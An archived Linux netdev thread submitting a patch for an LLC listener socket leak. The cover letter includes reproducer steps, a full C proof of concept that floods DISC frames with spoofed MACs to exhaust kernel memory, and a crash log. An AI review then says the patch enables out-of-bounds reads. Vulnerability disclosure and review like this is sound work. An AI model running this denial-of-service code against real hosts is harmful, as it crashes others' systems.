Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] llc: fix listener child socket leak on non-SABME frames
@ 2026-07-23 17:29 Ren Wei
  2026-07-23 17:29 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:29 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, pabeni, horms, luoxuanqiang, tim.bird, acme,
	vega, xizh2024, enjou1224z

From: Zihan Xi <xizh2024@lzu.edu.cn>

Hi Linux kernel maintainers,

We found and validated an issue in net/llc/llc_conn.c. The bug is
reachable by root via a listening PF_LLC SOCK_STREAM socket and crafted
LLC class-2 DISC command frames. We've tested it, and it should not
affect any other functionality.

This series contains one patch:
  1/1 llc: fix listener child socket leak on non-SABME frames

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

llc_conn_handler() creates an incoming child socket for every frame that
hits a listening LLC socket before it verifies that the frame is a real
passive-open request. Non-SABME traffic, such as DISC commands, can
therefore allocate a child socket and immediately drive it through the
ADM-state handlers instead of the passive-open path.

The child is inserted into the SAP tables by
llc_create_incoming_sock(), keeps its device reference, and is never
cleaned up by that non-passive-open path. Repeating DISC frames with
unique source MAC addresses therefore leaks LLC child sockets and memory
until the guest runs out of memory.

This patch fixes the root cause by creating an incoming child socket
only when the listener receives a SABME command.

Reproducer:

    Host:
      make -C /var/cache/linux-patch/llc-q4n-clean-src \
        O=/var/cache/linux-patch/rxrpc-b2k-build olddefconfig
      make -C /var/cache/linux-patch/llc-q4n-clean-src \
        O=/var/cache/linux-patch/rxrpc-b2k-build -j32 \
        net/llc/llc_conn.o bzImage

    Guest:
      cd /root/llc-q4n
      make
      echo 2 > /proc/sys/vm/panic_on_oom
      ip link del llc_rx0 2>/dev/null || true
      ip link add llc_rx0 type veth peer name llc_tx0
      ip link set llc_rx0 address 02:11:22:33:44:55
      ip link set llc_tx0 address 02:11:22:33:44:66
      ip link set llc_rx0 up
      ip link set llc_tx0 up
      ./poc llc_rx0 llc_tx0 110000

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

Script started on 2026-03-20 14:25:56+08:00 [COMMAND="bash ~/.agents/skills/qemu-start-linux-kernel/scripts/qemu-start-kernel.sh /home/tanyuan-cve/data/repos/linux-repos/linux-lts-v6.12.74" TERM="screen.xterm-256color" TTY="/dev/pts/182" COLUMNS="80" LINES="24"]
SSH port for this QEMU instance: 16516
QEMU pidfile: /tmp/qemu-pidfile-y7peLhwC.pid
user root, no passwd
user test_user, no passwd
ssh to the qemu:
ssh -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 16516 root@localhost
ssh -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 16516 test_user@localhost
scp -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 16516 $filename root@localhost:/root/
scp -i /home/tanyuan-cve/data/rootfs/image.id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -P 16516 $filename test_user@localhost:~/

Launching QEMU...
Formatting '/tmp/image-overlay-ouIAXGCW.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=4294967296 backing_file=/home/tanyuan-cve/data/rootfs/image.img backing_fmt=raw lazy_refcounts=off refcount_bits=16
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2)) 

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1)) 

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1)) 

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277) 


-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leak on non-SABME frames

 net/llc/llc_conn.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 3+ messages in thread

* [PATCH net 1/1] llc: fix listener child socket leak on non-SABME frames
  2026-07-23 17:29 [PATCH net 0/1] llc: fix listener child socket leak on non-SABME frames Ren Wei
@ 2026-07-23 17:29 ` Ren Wei
  2026-07-28 11:49   ` Simon Horman
  0 siblings, 1 reply; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:29 UTC (permalink / raw)
  To: netdev
  Cc: davem, edumazet, pabeni, horms, luoxuanqiang, tim.bird, acme,
	vega, xizh2024, enjou1224z

From: Zihan Xi <xizh2024@lzu.edu.cn>

llc_conn_handler() allocates an incoming child socket for any frame
received by a listening LLC socket before the frame is validated as a
real passive-open request.

Non-SABME traffic, such as DISC commands, can therefore create a child
socket that is immediately driven through the ADM state tables instead
of the passive-open path. The child remains hashed in the LLC SAP tables
and keeps its device reference, so repeating such frames leaks sockets
and memory until the host runs out of memory.

Only create an incoming child socket when the listener actually receives
a SABME command. Non-passive-open traffic then stays on the listening
socket path and no orphan child socket is created.

Fixes: d389424e00f9 ("[LLC]: Fix the accept path")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <xizh2024@lzu.edu.cn>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/llc/llc_conn.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 0a3f5e0bec0..a235748e36d 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -801,7 +801,8 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * the originator of the new connection, and this state has to be
 	 * in the newly created struct sock private area. -acme
 	 */
-	if (unlikely(sk->sk_state == TCP_LISTEN)) {
+	if (unlikely(sk->sk_state == TCP_LISTEN) &&
+	    !llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
 		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
 							      &saddr, &daddr);
 		if (!newsk)
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 3+ messages in thread

* Re: [PATCH net 1/1] llc: fix listener child socket leak on non-SABME frames
  2026-07-23 17:29 ` [PATCH net 1/1] " Ren Wei
@ 2026-07-28 11:49   ` Simon Horman
  0 siblings, 0 replies; 3+ messages in thread
From: Simon Horman @ 2026-07-28 11:49 UTC (permalink / raw)
  To: enjou1224z
  Cc: Simon Horman, netdev, davem, edumazet, pabeni, luoxuanqiang,
	tim.bird, acme, vega, xizh2024

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
Full review at: https://netdev-ai.bots.linux.dev/sashiko/#/patchset/631a34bdb0c1e1ab47ba75a4be94b5129b7a122f.1784725007.git.zihanx@nebusec.ai?part=1
---
llc: fix listener child socket leak on non-SABME frames

This patch restricts child socket creation in llc_conn_handler() to
frames that are actual SABME commands, by gating the TCP_LISTEN branch
on llc_conn_ev_rx_sabme_cmd_pbit_set_x(). Non-SABME traffic then falls
through to the else branch, which attaches skb->sk to the listener and
runs the LLC connection state machine on the listener socket itself.

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54..7bf3f7f517b3 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c
> @@ -794,7 +794,8 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  	 * the originator of the new connection, and this state has to be
>  	 * in the newly created struct sock private area. -acme
>  	 */
> -	if (unlikely(sk->sk_state == TCP_LISTEN)) {
> +	if (unlikely(sk->sk_state == TCP_LISTEN) &&
> +	    !llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
>  		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
>  							      &saddr, &daddr);
>  		if (!newsk)

[Critical]
When the new condition is false (non-SABME frame arriving at a listener),
control now falls into the else branch and drives the listener itself
through llc_conn_rcv() -> llc_conn_state_process() -> llc_conn_service().
Is that intentional?

The listener's llc_sock state is set by llc_sk_init() to
LLC_CONN_STATE_ADM and is not updated by llc_ui_listen():

  net/llc/llc_c_ac.c / llc_sk_init():
    llc->state = LLC_CONN_STATE_ADM;

In net/llc/llc_c_st.c the ADM state table contains llc_adm_state_trans_5
with .ev = llc_conn_ev_rx_any_frame (an unconditional match) and
.next_state = LLC_CONN_OUT_OF_SVC, which equals 0. After a single
non-DISC, non-XXX-with-P=1 frame (for example an I-frame or S-frame with
P=0, or a DM/UA/FRMR response) matches trans_5, llc_conn_service() will
write llc_sk(listener)->state = 0.

On the following non-SABME frame reaching the same listener,
llc_conn_service() only guards:

    if (llc->state > NBR_CONN_STATES)
        goto out;

so state == 0 passes through, and llc_qualify_conn_ev() then computes:

    curr_state = &llc_conn_state_table[llc->state - 1];

which indexes llc_conn_state_table[-1], followed by
llc_find_offset(llc->state - 1, ev->type) indexing llc_offset_table[-1]
[...]. Both are out-of-bounds reads before a 12-entry array. The garbage
curr_state->transitions pointer is then iterated and eventually
(*next_trans)->ev(sk, skb) is called through an attacker-triggerable but
uninfluenced function pointer.

Since llc_lookup_listener() will match any frame carrying the listener's
SAP when no established socket exists, a peer on the local segment can
reach this with two crafted LLC frames.

Should the else branch continue to skip the connection state machine
for a listening socket, or should the ADM tables be prevented from
executing against a TCP_LISTEN sk in the first place?

[Medium]
Is the wire-level behavior for DISC and other pbit=1 commands against a
listener intended to change here?

Prior to this patch, llc_create_incoming_sock() ran first and did:

    memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));

so DM responses generated by the ADM state transitions were addressed to
the peer that sent the DISC. After the patch, the ADM transitions run on
the listener itself.

In net/llc/llc_c_st.c the ADM table includes llc_adm_state_trans_3 for
DISC commands, whose action is llc_conn_ac_send_dm_rsp_f_set_p() in
net/llc/llc_c_ac.c. That builds the DM response using llc->daddr.lsap
(via llc_pdu_header_init) and llc->daddr.mac (via llc_mac_hdr_init).

For a socket()+bind()+listen() socket, llc->daddr is never populated:
llc_ui_bind() only writes llc->laddr and llc->dev, and llc_sk_init()
zero-initializes daddr. The DM response therefore goes to MAC
00:00:00:00:00:00 with destination LSAP 0. The same concern applies to
llc_adm_state_trans_4 (rx_xxx_cmd_pbit_set_1 ->
llc_conn_ac_send_dm_rsp_f_set_1).

Should the commit message call out this on-wire behavioral change for
legitimate DISC traffic against a listening socket, or should the else
branch avoid running these transitions on a listener whose daddr is
unset?

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-28 11:49 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:29 [PATCH net 0/1] llc: fix listener child socket leak on non-SABME frames Ren Wei
2026-07-23 17:29 ` [PATCH net 1/1] " Ren Wei
2026-07-28 11:49   ` Simon Horman

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox